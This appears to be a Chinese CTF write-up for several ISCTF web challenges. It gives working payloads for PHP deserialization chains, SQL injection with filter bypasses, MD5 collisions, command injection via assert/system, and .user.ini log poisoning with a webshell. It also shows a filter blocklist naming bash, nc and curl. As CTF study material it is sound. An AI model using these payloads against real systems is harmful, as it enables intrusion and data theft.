圣杯战争!!! 反序列化题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );error_reporting (0 );class artifact { public $excalibuer ; public $arrow ; public function __toString ( ) { echo "为Saber选择了对的武器!<br>" ; return $this ->excalibuer->arrow; } }class prepare { public $release ; public function __get ($key ) { $functioin = $this ->release; echo "蓄力!咖喱棒!!<br>" ; return $functioin (); } }class saber { public $weapon ; public function __invoke ( ) { echo "胜利!<br>" ; include ($this ->weapon); } }class summon { public $Saber ; public $Rider ; public function __wakeup ( ) { echo "开始召唤从者!<br>" ; echo $this ->Saber; } }if (isset ($_GET ['payload' ])){ unserialize ($_GET ['payload' ]); }?>
比较简单的反序列化题 先找到include来个伪协议 然后找下一个,__invoke需要被当成函数调用才会触发 那就new一个prepare 赋值给releace 但它的__Get方法还没触发,找下一个 __get是调用的成员属性是私有属性或不存在时触发 找到artifact中有两个参数,new一下 赋值excalibuer,而arrow负责调用__get 而__tostring需要表达方式错误导致魔术方法触发(把对象当成字符串调用) echo是输出字符串的 所以new一个summon saber赋值为summon
1 2 3 4 5 6 7 8 9 10 $a =new saber();$a ->weapon ='php://filter/convert.base64-encode/resource=flag.php' ;$b =new prepare();$b ->release =$a ;//调用了__invoke$c =new artifact();$c ->excalibuer =$b ;$c ->arrow ='123' ;//调用了__get$d =new summon();$d ->Saber =$c ;//echo 调用了__toString echo serialize($d );
where_is_the_flag 1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );eval ($_POST [1 ]);?>
既然都这么写了,那么直接蚁剑连接省事的多 第一段flag在flag.php中
1 2 3 <?php $flag = "FLAG1:ISCTF{6ced" ;?>
第二段flag在根目录中
第三段flag找了很多文件都没找到 在根目录里发现了一个冒红光的文件
1 2 3 4 5 6 7 8 #!/bin/sh sed -i "s/{{FLAG1}}/${FLAG:0:10} /" /var/www/localhost/htdocs/flag.phpecho ${FLAG:10:10} > /flag2export FLAG3=${FLAG:20} FLAG3=${FLAG:20} export FLAG="flag" FLAG="flag" httpd -D FOREGROUND
export是创建一个环境变量的意思 看来第三段flag在环境变量中 回到页面执行命令
1 2 1 =system('printenv' );// HOSTNAME =d38fc96b0fdf SHLVL =2 HOME =/root FLAG3=4f5c-bb37-ee81a5ecc139} PATH=/usr /local/sbin :/usr/local/bin :/usr/sbin :/usr/bin :/sbin :/bin PWD =/var/www /localhost/htdocs FLAG =flag
绕进你的心里 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;$str = (String)$_POST ['pan_gu' ];$num = $_GET ['zhurong' ];$lida1 = $_GET ['hongmeng' ];$lida2 = $_GET ['shennong' ];if ($lida1 !== $lida2 && md5 ($lida1 ) === md5 ($lida2 )){ echo "md5绕过了!" ; if (preg_match ("/[0-9]/" , $num )){ die ('你干嘛?哎哟!' ); } elseif (intval ($num )){ if (preg_match ('/.+?ISCTF/is' , $str )){ die ("再想想!" ); } if (stripos ($str , '2023ISCTF' ) === false ){ die ("就差一点点啦!" ); } echo $flag ; } }?>
第一个if是md5强碰撞
1 hongmeng= M%C9h %FF %0 E%E3 %5 C%20 %95 r%D4w %7 Br%15 %87 %D3o %A7 %B2 %1 B%DCV %B7J %3 D%C0x %3 E%7 B%95 %18 %AF %BF %A2 %00 %A8 %28 K%F3n %8 EKU%B3_Bu %93 %D8Igm %A0 %D1U %5 D%83 %60 %FB_ %07 %FE %A2 &shennong= M%C9h %FF %0 E%E3 %5 C%20 %95 r%D4w %7 Br%15 %87 %D3o %A7 %B2 %1 B%DCV %B7J %3 D%C0x %3 E%7 B%95 %18 %AF %BF %A2 %02 %A8 %28 K%F3n %8 EKU%B3_Bu %93 %D8Igm %A0 %D1 %D5 %5 D%83 %60 %FB_ %07 %FE %A2
preg_match数组绕过即可
最后preg_match用回溯次数限制绕过 在2023ISCTF前面加上好多个a
1 2 3 <?php echo str_repeat ('a' ,1000000 );
这么多a就够了😊
easy_website 看到源码一开始以为是可以x一下的 试了很久没办法绕过实体编码 那就sql注入
通过错误回显看到了or被过滤哩 而且空格也被过滤了,用%09代替 双写成功绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 爆库1 '%09 ununionion%09 seselectlect%09 database()# //users 爆表 '%09 ununionion%09 seselectlect%09 group_concat(table_name)%09 from%09 infoorrmation_schema.tables%09 where%09 table_schema= database()# //users 爆字段 '%09 ununionion%09 seselectlect%09 group_concat(column_name)%09 from%09 infoorrmation_schema.columns%09 where%09 table_name= 'users'# //用户$USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, user, password$登录成功 爆值 '%09 ununionion%09 seselectlect%09 passwoorrd%09 from%09 users# //21232 f297 a57 a5 a743894 a0e4 a801 fc3 :admin的md5 加密值 '%09 ununionion%09 seselectlect%09 passwoorrd%09 from%09 users%09 limit%092 , 1 # //用户$ISCTF{c 51 a3 cf4 -adf5 -4 cd5 -80 f3 -30 c 36 c 3262 bd}$登录成功
这里用联合注入有点问题,显示的不全,这题用报错注入要直观很多
wafr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );header ('Content-Type: text/html; charset=utf-8' );highlight_file (__FILE__ );if (preg_match ("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i" , $_POST ['code' ])){ die ("想读我文件?大胆。" ); }elseif (preg_match ("/\^|\||\~|\\$|\%|jay/i" , $_POST ['code' ])){ die ("无字母数字RCE?大胆!" ); }elseif (preg_match ("/bash|nc|curl|sess|\{|:|;/i" , $_POST ['code' ])){ die ("奇技淫巧?大胆!!" ); }elseif (preg_match ("/fl|ag|\.|x/i" , $_POST ['code' ])){ die ("大胆!!!" ); }else { assert ($_POST ['code' ]); }
刚开始把这题想歪了,一顿无参rce。。。 这题唯一需要注意的就是 assert($_POST[‘code’]); assert和eval功能相同,但assert不用在函数后面加;
所以结果很简单
1 2 3 4 5 code=system('ls /') 没有禁/和',那就随便绕过过滤了 code=system('c\at /f*') //ISCTF{437d25ca-b36f-4204 -b8af-7937 eab665a9}
ez_ini 这题对文件内部的审查很严 所以我们直接用日志包含来获取 上传.user.ini
1 2 GIF89a auto_prepend_file=/var/ log /nginx/access.log
抓包后再ua头后加入一句话木马
1 2 3 <?php system ('ls' );?> <?php system ('ls /' );?> <?php system ('cat /flag' );?>
也可以猜flag的位置直接获取 .user.ini
1 2 GIF89aauto_prepend_file =/flag
webinclude show me your parameter!!!Wrong parameter!!! 仅有的一行hint提示我们需要一个正确的参数 抓包源代码什么的都没有发现可利用的信息 dirsearch扫扫, 扫出了一个index.bak文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function string_to_int_array (str ){ const intArr = []; for (let i=0 ;i<str.length ;i++){ const charcode = str.charCodeAt (i); const partA = Math .floor (charcode / 26 ); const partB = charcode % 26 ; intArr.push (partA); intArr.push (partB); } return intArr; } function int_array_to_text (int_array ){ let txt = '' ; for (let i=0 ;i<int_array.length ;i++){ txt += String .fromCharCode (97 + int_array[i]); } return txt; }const hash = int_array_to_text (string_to_int_array (int_array_to_text (string_to_int_array (parameter))));if (hash === 'dxdydxdudxdtdxeadxekdxea' ){ window .location = 'flag.html' ; }else { document .getElementById ('fail' ).style .display = '' ; }
是个JavaScript代码,上面已经给了函数所对应的意思 要使hash===dxdydxdudxdtdxeadxekdxea才能获得我们要的 需要写一个脚本,先分析一下 嵌套函数,从最里面开始计算 计算过程如下
1 2 a intarr[3 ,19 ]->txt=dt->intarr[3 ,22 ,4 ,12 ]->txt=dwemb intarr[3 ,20 ]->txt=du->intarr[3 ,22 ,4 ,13 ]->txt=dwen
也就是说,输入一个字符所对应的是hash所匹配的4个字符 dxdydxdudxdtdxeadxekdxea为24个字符,说明我们需要输入6个字符,莫非是mihoyo😋 基于上面的计算规则,写一个python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import time def string_to_int (str): intarr = [] for k in str: parta = int (ord (k) / 26 ) partb = ord (k) % 26 intarr.append (parta) intarr.append (partb) return intarr def int_to_string (intarr): txt = '' for j in intarr: txt = txt+chr (97 +j) return txt for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' : heheh = int_to_string (string_to_int (int_to_string (string_to_int (i)))) print ('{}:{}' .format (i,heheh)) wtf='mihoyo' wco=int_to_string (string_to_int (int_to_string (string_to_int (wtf))))print (wco)
python脚本不用说,和上面js实现过程是一样的,直接看结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 a: dwemb: dwenc: dweod: dwepe: dweqf: dwerg: dwesh: dxdti: dxduj: dxdvk: dxdwl: dxdxm: dxdyn: dxdzo: dxeap: dxebq: dxecr: dxeds: dxeet: dxefu: dxegv: dxehw: dxeix: dxejy: dxekz: dxelA: dvegB: dvehC: dveiD: dvejE: dvekF: dvelG: dvemH: dvenI: dveoJ: dvepK: dveqL: dverM: dvesN: dwdtO: dwduP: dwdvQ: dwdwR: dwdxS: dwdyT: dwdzU: dweaV: dwebW: dwecX: dwedY: dweeZ: dwef dxdydxdudxdtdxeadxekdxea
真的是mihoyo哎😍 payload:
1 ?mihoyo=php:// filter/convert.base64-encode/ resource=flag.php